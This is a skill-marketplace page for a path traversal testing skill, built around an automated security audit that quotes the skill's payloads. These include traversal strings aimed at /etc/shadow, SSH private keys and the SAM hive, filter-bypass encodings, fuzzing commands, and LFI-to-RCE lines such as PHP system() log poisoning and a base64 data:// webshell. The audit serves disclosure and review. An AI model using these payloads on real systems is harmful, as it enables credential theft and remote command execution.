Skills file-path-traversal-testing
📦
file-path-traversal-testing
v1.1 Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Run Authorized Path Traversal Tests
Path traversal bugs can expose server files and credentials. This skill gives authorized testers a structured workflow for finding, proving, and reporting them.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "file-path-traversal-testing" from https://skillstore.io/skills/sickn33-file-path-traversal-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "file-path-traversal-testing". A tester asks for a scoped plan for a download endpoint.
Expected outcome:
A phased checklist covering authorization, parameter mapping, harmless canary tests, response comparison, stop conditions, and reporting notes.
Using "file-path-traversal-testing". A developer asks how to fix unsafe file path handling.
Expected outcome:
A remediation summary recommending strict allowlists, canonical path checks, fixed base directories, and tests for encoded traversal variants.
Using "file-path-traversal-testing". A security lead asks for evidence handling guidance.
Expected outcome:
A concise policy for minimizing sensitive data collection, redacting proof, preserving request metadata, and escalating only within written scope.
Security Audit
Criticalv5 • 7/9/2026 Open versioned report
Most static findings are confirmed because the skill teaches actionable path traversal exploitation, sensitive file targeting, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but the remaining confirmed findings show critical risk and unsafe marketplace content.
1
Files scanned
487
Lines analyzed
64
Review items
0
False positives ignored
Confirmed security concerns (47)
Critical
SSH directory access
/root/.ssh/id_rsa # Root private key
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
Critical
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
Critical
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
Critical
SSH private key file
/root/.ssh/id_rsa # Root private key
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
Critical
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
Critical
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
Critical
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The skill lists the Windows SAM registry hive as a target file. That file can expose local password hashes and credential material.
Critical
System password file access
../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Show all 47 confirmed findings
Critical
System password file access
../../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
/etc/shadow
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
....//....//....//etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
....\/....\/....\/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
..././..././..././etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
....//....//etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../etc/passwd%00.jpg
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../etc/passwd%00.png
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../etc/passwd...............................
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../etc/passwd.jpg.php
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
/var/www/images/../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
images/../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
/etc/passwd # User accounts
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
/etc/shadow # Password hashes (root only)
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
# Traverse to /etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
....//....//....//etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
..;/..;/..;/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
../../../etc/passwd%00.jpg
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
| `../../../etc/passwd` | Linux password file |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
| `/etc/passwd` | Absolute path |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
| Linux | `/etc/passwd` | User accounts |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
System password file access
| Linux | `/etc/shadow` | Password hashes |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
Critical
Explicit Arbitrary File Read Exploitation Intent
The skill is framed around exploiting path traversal to read arbitrary server files, including credentials and source code.
The description and purpose explicitly mention exploitation and arbitrary file reads. The target file list includes credentials, process data, and application configuration.
Critical
LFI to RCE Escalation Workflow
The skill provides step-by-step log poisoning, process environment, and PHP wrapper techniques to turn file inclusion into command execution.
The section is explicitly titled as an escalation path and contains command execution payloads. This is direct offensive guidance, not defensive explanation only.
High
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
High
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
High
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
High
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The line uses command execution output such as whoami during exploitation. That supports post-exploitation system reconnaissance.
High
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The line uses command execution output such as whoami during exploitation. That supports post-exploitation system reconnaissance.
Low
System reconnaissance
/etc/hostname # System hostname
The skill lists /etc/hostname as a target file, which can reveal host identity. This is system reconnaissance through path traversal.
Capability review items (64)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The line shows a PHP system() payload used during LFI-to-RCE escalation. It instructs command execution on a target host.
Critical
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The line shows a PHP system() payload used during LFI-to-RCE escalation. It instructs command execution on a target host.
Critical
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
"http://target.com/page?file=php://input"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
Critical
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is used to include log files as part of an RCE escalation flow. This is actionable exploit guidance.
Critical
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is used to include log files as part of an RCE escalation flow. This is actionable exploit guidance.
Critical
Hidden file access
/root/.ssh/id_rsa # Root private key
The skill lists SSH key or authorization files as traversal targets. Access to these files can expose credentials or enable unauthorized access.
Critical
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The skill lists SSH key or authorization files as traversal targets. Access to these files can expose credentials or enable unauthorized access.
Critical
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The skill lists SSH key or authorization files as traversal targets. Access to these files can expose credentials or enable unauthorized access.
Critical
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ path is used in an RCE escalation example with injected PHP. This is a real post-exploitation technique.
Critical
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ path is used in an RCE escalation example with injected PHP. This is a real post-exploitation technique.
High
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The curl example sends traversal payloads to a web endpoint to retrieve server files. The placeholder host does not remove the exploit workflow.
High
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The curl example sends traversal payloads to a web endpoint to retrieve server files. The placeholder host does not remove the exploit workflow.
High
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
High
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
High
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
High
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
High
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The placeholder URL is used to read application source through a PHP wrapper. That is actionable file disclosure guidance against a web target.
High
Path traversal sequence
- `../` sequence moves up one directory
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..\..\..\windows\win.ini
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
# When ../ is stripped once
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
....//....//....//etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
....\/....\/....\/etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..././..././..././etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
....//....//etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd%00.jpg
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd%00.png
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd...............................
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd.jpg.php
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
/var/www/images/../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
images/../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..%5c
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
....\\....\\etc\\passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
....//....//....//etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
../../../etc/passwd%00.jpg
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
High
Hidden file access
/var/www/html/.htaccess
The skill lists hidden web server configuration as a target file. This can disclose access rules or application configuration.
High
Linux /proc filesystem access
/proc/self/environ
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
High
Linux /proc filesystem access
/proc/self/environ # Environment variables
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
High
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
High
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
High
Linux /proc filesystem access
/proc/version # Kernel version
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
High
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
Risk Factors
⚙️ External commands (50)
SKILL.md:43-50 SKILL.md:50-53 SKILL.md:53-67 SKILL.md:67-87 SKILL.md:87-90 SKILL.md:90-91 SKILL.md:91-92 SKILL.md:92-93 SKILL.md:93-94 SKILL.md:94-100 SKILL.md:100-118 SKILL.md:118-122 SKILL.md:122-133 SKILL.md:133-139 SKILL.md:139-152 SKILL.md:152-156 SKILL.md:156-166 SKILL.md:166-170 SKILL.md:170-176 SKILL.md:176-180 SKILL.md:180-196 SKILL.md:196-202 SKILL.md:202-241 SKILL.md:241-247 SKILL.md:247-270 SKILL.md:270-276 SKILL.md:276-283 SKILL.md:283-287 SKILL.md:287-297 SKILL.md:297-301 SKILL.md:301-311 SKILL.md:311-317 SKILL.md:317-327 SKILL.md:327-331 SKILL.md:331-339 SKILL.md:339-343 SKILL.md:343-356 SKILL.md:356-362 SKILL.md:362-387 SKILL.md:387-393 SKILL.md:393-413 SKILL.md:413-415 SKILL.md:415-429 SKILL.md:429-437 SKILL.md:437-438 SKILL.md:438-439 SKILL.md:439-440 SKILL.md:440-441 SKILL.md:441-447 SKILL.md:447-448
🌐 Network access (15)
📁 Filesystem access (47)
SKILL.md:53 SKILL.md:102 SKILL.md:103 SKILL.md:104 SKILL.md:105 SKILL.md:108 SKILL.md:109 SKILL.md:112 SKILL.md:116 SKILL.md:117 SKILL.md:140 SKILL.md:141 SKILL.md:142 SKILL.md:145 SKILL.md:146 SKILL.md:149 SKILL.md:158 SKILL.md:159 SKILL.md:162 SKILL.md:165 SKILL.md:172 SKILL.md:175 SKILL.md:191 SKILL.md:195 SKILL.md:322 SKILL.md:326 SKILL.md:367 SKILL.md:370 SKILL.md:374 SKILL.md:381 SKILL.md:437 SKILL.md:438 SKILL.md:439 SKILL.md:458 SKILL.md:459 SKILL.md:212 SKILL.md:213 SKILL.md:214 SKILL.md:228 SKILL.md:127 SKILL.md:232 SKILL.md:233 SKILL.md:234 SKILL.md:235 SKILL.md:334 SKILL.md:338 SKILL.md:449
Detected Patterns
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-file-path-traversal-testing?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-file-path-traversal-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). file-path-traversal-testing security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5BibTeX citation
@techreport{sickn33-sickn33-file-path-traversal-testing-2026,
author = {sickn33},
title = {file-path-traversal-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal-testing security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Validate File Download Controls
Assess whether a scoped web endpoint can read files outside its intended directory.
Prepare a Penetration Test Finding
Organize evidence, impact, and remediation notes for a confirmed traversal issue.
Review Path Handling Fixes
Compare mitigations such as whitelists and canonical paths against common bypass patterns.
Try These Prompts
Plan a Safe Check
I have authorization to test one file download endpoint. Help me plan safe path traversal checks without accessing sensitive data.
Build a Test Matrix
Create a scoped path traversal test matrix for Linux and Windows targets, with expected signals and stop conditions.
Analyze Evidence
Review these authorized test observations and help decide whether they prove traversal impact without exposing secrets.
Write the Finding
Draft a professional vulnerability report with impact, affected parameters, reproduction summary, risk, and remediation guidance.
Best Practices
- Confirm written permission and scope before testing any target.
- Use harmless canary files or lab systems when proving access.
- Stop testing when secret material appears and document only necessary evidence.
Avoid
- Testing public targets without permission.
- Collecting or publishing passwords, private keys, tokens, or registry hives.
- Using RCE escalation as routine proof when file read evidence is enough.
Frequently Asked Questions
Is this skill only for authorized testing?
Yes. It should only be used on systems where the tester has explicit written permission.
Can it prove impact without reading secrets?
Yes. Use harmless canary files, metadata, or controlled lab fixtures whenever possible.
Does it perform automated exploitation itself?
No. It provides testing guidance and command examples, but the operator controls all actions.
Which tools does it reference?
It references browser tools, Burp Suite, OWASP ZAP, curl, ffuf, wfuzz, and traversal wordlists.
How should sensitive findings be reported?
Report the minimum proof needed, redact secret values, and follow the engagement disclosure process.
Can developers use it defensively?
Yes. Developers can use the prevention section to review validation, allowlists, and canonical path checks.